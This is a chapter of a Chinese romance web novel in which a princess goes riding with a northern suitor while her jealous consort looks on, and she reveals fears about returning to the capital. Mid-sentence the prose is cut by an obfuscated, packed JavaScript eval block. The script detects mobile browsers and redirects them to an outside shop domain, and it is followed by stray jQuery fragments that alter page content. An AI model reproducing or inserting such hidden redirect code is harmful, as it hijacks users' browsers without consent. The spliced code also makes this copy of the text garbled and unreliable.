98.归京前情丝暗涌

作品:《太液池里可以养鸬鹚吗

    “你怎么突然提起要约我骑马?”卢恩慈夹菜的手一停,诧异过后,她偷偷看了眼身侧的商泽亭,没想到正对上商泽亭的注视。


    “您看我做什么?”商泽亭自嘲地笑笑:“您是一家之主。若您要是想赴约,我哪里能拦着您?”


    卢恩慈看着商泽亭,商泽亭的笑是那样勉强,他看似不经意地望向海日恒,感觉像是要把海日恒赶出门。


    “要不……泽亭你和我们一块儿去骑马?”卢恩慈摸摸额头:“你骑术也不错,正好可以和海日恒比试比试。”


    “他肯定骑不赢我呀。商大人是京城的贵公子,骑术都是在马场学的,我可是在大草原上!”海日恒嘻嘻笑着,总算在商泽亭身上找到一个他没有自己强的地方!


    “在骑术上,海日恒肯定比我更精进。”商泽亭低头想想,随即笑意盈盈道:“那么,我就沾沾您的光,同您一块儿去领略海日恒的马上英姿。”


    海日恒本来听着商泽亭的奉承很受用,越听越不对味:“不对呀,我只想约卢恩慈,你不要来跟着我们!”


    “不是我要跟着,是恩慈邀请我去的呀。”商泽亭将话头抛回给卢恩慈。


    卢恩慈正津津有味地吃着晚膳的菜肴,看到他们两人直溜溜地盯着她,只能无奈地放下筷子。


    “恩慈,你不要让商大人跟着来,我只想和你一起!”海日恒急了,但也不知如何表达内心的急切,只一味地往卢恩慈碗里夹菜。


    为卢恩慈布菜的人本应是自己!商泽亭看到海日恒疯狂献殷勤,心内冷笑——登堂入室的家伙,自己早晚要把海日恒轰走,让他不得靠近卢恩慈半步!


    “额……”卢恩慈先是让海日恒停下给她夹菜的举动——再夹她碗里都要放不下了,然后绞尽脑汁地想如何既不让商泽亭吃醋,又不拂海日恒面子的说法。


    可是世上安得双全法?她嗯嗯了半天,终是一个字也未说出。


    “我听我阿姐说,你中秋节要回大周的京城。这一来一去,我估计很长时间都看不到你了。”海日恒软下声线,央求道:“只是想和你一同去散散心。”


    “既然如此,您就陪他去吧。”商泽亭看出卢恩慈被海日恒的理由所打动,不想再让她为难。


    泽亭当真是体贴的解语花!


    还不等卢恩慈出声答应,海日恒就雀跃地牵起卢恩慈的手:“那我明日一大早就来找你,我们不见不散!”


    他来也匆匆,去时也像一阵风,转瞬间就消失在屋外,只留下被他动作带起的风铃在轻轻摇晃,发出清脆悦耳的叮当铃声。


    “我看天这么晚了,还想着让他在我们这留宿一晚呢。”卢恩慈望着海日恒远去的身影:“他走得这么快!饭还没吃完呢!”


    “难道您舍不得他?”商泽亭巴不得海日恒早点走,看着卢恩慈的样子,拈酸吃醋道。


    “只是礼节性地问一句嘛。”卢恩慈看出商泽亭的低落,连忙坐到他身边搂住他。


    “您每次和他在一块儿,都很开心的样子。”商泽亭顺势也将卢恩慈搂紧:“您和我在一块儿,似乎没有这么开心过。”


    “哪有!”卢恩慈赶紧否认。


    “您再想想?”商泽亭哼了一声。


    “海日恒他就是爱玩闹的性子,很容易感染到我。你跟他在一起,不觉就会开心些许。”


    是吗?他和海日恒一碰面,就只会感到心烦。


    商泽亭在心里腹诽一句,面上强装大度:“您明天和他出去,早些回来。注意出汗后别立即加减衣裳,小心着凉。”


    “嗯!”卢恩慈听着商泽亭的嘱咐,心里一股暖流流过:“我会早点回来的!”


    “我就等你这句话。”商泽亭尽力遮掩语气间的落寞。


    只要卢恩慈最终会回来就行。只要她回来,自己就永远是她名正言顺的身边人。


    第二日清晨,商泽亭还在帮着卢恩慈系着身后的衣带时,就听见海日恒中气十足的大嗓门在院间响起来。


    “雪青,你起这么早啊。”海日恒知道雪青是卢恩慈身边的掌事侍女,想着要和卢恩慈身边人搞好关系,他便打了个招呼。


    “不早了,奴婢要给长公主准备晨洗和早膳,先行一步了。”雪青不欲和海日恒多搭话,转身做该做的事情去了。


    海日恒在院子里走来走去,侍者们都有自己的事情要忙,来来往往,他也不好耽误人家做事,就杵在院子中央站着。


    商泽亭从窗户里看到此情景,不由得暗暗发笑。


    他可是花了不少的心思,才把这群人收拾得服服帖帖,将这座不大的府宅打理得井井有条,让卢恩慈即使在边陲之地,也能过得安心舒适。


    只要海日恒踏进这座院子,就会清清楚楚地感受到,他不过是一个外人罢了。


    海日恒千等万等,总算盼到卢恩慈穿戴好出来。


    “你来这么早!”卢恩慈牵着马走过来:“吃早点了没?”


    “吃过了!”卢恩慈这是在关心自己呀!海日恒也牵着马,和她并排走着。


    “准备带我去哪里骑马?”卢恩慈侧过头,才注意到海日恒的服饰:“天呐,你不热吗?”


    现在正是仲夏时节,可海日恒穿的里三层外三层。


    且不说叮铃哐啷的五彩配饰戴满了耳坠、项间和胳膊,看着都累人。


    他身上内里穿着北戎的骑射紧衣,外面又不知道为何套着件大周风格的宽衣。


    衣服都是极尽奢华,布料厚实,层层叠叠的暗纹搭配着繁复无比的刺绣,穿一会儿绝对又热又不透气。


    虽然这么搭配太过奇怪,但是穿在海日恒身上又莫名地和谐。卢恩慈端详了好一阵,也没有给出一句评价。


    “无论热还是冷,我都能挺过去。”海日恒忸怩了一阵,还是开口问道:“你觉得我今天的衣服好看吗?”


    “我觉得衣服穿着舒适最重要吧,你觉得呢?”卢恩慈想了想,很难用美和丑来形容海日恒今日的穿着搭配啊!


    “我不知道你喜欢什么样的,我就把我衣柜里最好看的两件衣裳全穿上了。”海日恒嘿嘿一笑,还自觉很聪明:“怎么样?总有一件你会喜欢吧!”


    “你要是热了就脱,别中暑了!”卢恩慈看着海日恒身上的衣服直摇头:“别硬撑,小心长痱子。”


    “只要你觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333533|192395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得好看,我热晕过去也值得。”海日恒默认卢恩慈满意他今天精心的打扮,吹了个口哨:“跟上我!”


    考虑到卢恩慈虽然会骑马,但是总归不熟练,海日恒特意放慢了速度,好让卢恩慈跟上。


    “你再往北骑,就越过边境线了!”卢恩慈朝海日恒喊道。


    “边境线对我来说早就形同虚设了!”海日恒勒住马,调转马头:“我只恨有这条边境线,将你我二人隔开。”


    “若没有这条边境线,你我又会怎么样?”卢恩慈不解海日恒这句话的意思。


    “那你接受我,就会容易一点。”海日恒嘟囔了一句。


    “为何会这样想?”卢恩慈被海日恒这没来由的一句弄得一头雾水。


    “毕竟你是大周的公主,要尚驸马肯定优先大周人。”海日恒垂头丧气。


    “你之前还说要和亲到大周来嫁给我呢。”卢恩慈拍拍他的肩。


    “没错没错,我说过这话,你现在愿意娶我了?”海日恒眼睛亮起来。


    “我好说,只是泽亭比较难办。”卢恩慈起了逗他的心思。


    “我能接受商大人。到时候你置办一个大点的公主府,大到我和他走路都见不着对方就行。”海日恒歪着头,想了想说道。


    “那公主府得多大啊!你这么爱动,还得给你配一块草场吧!”卢恩慈下了马,躺在草地上。


    今天多云,日头不算照人,温度也刚刚好。茂盛的草地绿如茵,很适合小憩片刻。


    海日恒盘腿坐在卢恩慈身边,为她投射下一片阴影。


    “海日恒,我这次中秋入宫,不知道会面临什么。”卢恩慈翻了个身子。


    “不是和家里人中秋团聚吗?”海日恒挠挠头。


    “是鸿门宴吧。肯定是。”卢恩慈语气尽是无奈。


    “为什么这么说?”海日恒收起笑意。


    “父皇的本意是向你们北戎开战的,我和秦将军没有执行他的旨意。对他来说,我们是心腹大患。”卢恩慈坐起身:“秦将军这次中秋要和我一同赴这鸿门宴。”


    “商大人回去吗?”海日恒问道。


    “这就是疑点啊。”卢恩慈叹了口气:“因为父皇还说回去要给我赐婚。但是未说人选,泽亭也一直未收到召他回去的消息。”


    “怎么会这样?你父皇怎么不把话说清楚!”海日恒急得一把抓住卢恩慈胳膊。


    “他的心思我能猜到。”卢恩慈面朝东南——大周京城的方向:“父皇是要削秦牧山的军职,然后把他的一个心腹许配给我。至于泽亭,大概是回到商家,为商家撑起一片天。”


    “那你别回去了!”海日恒将一根草连根拔起:“要不来北戎,我护着你!”


    “不,我一定要回去。”卢恩慈忽而笑了:“士别三日,当刮目相看。宫里人确实要重新看待我了。”


    “你什么时候回来?你父皇不会不让你回来了吧?”海日恒迟疑着问出心底话。


    “我当然会回来,而且,是以全新的面貌回来。”卢恩慈站起,太阳在草地上画出她的身影。


    她的影子,随微风的吹拂,同草叶一同摇曳。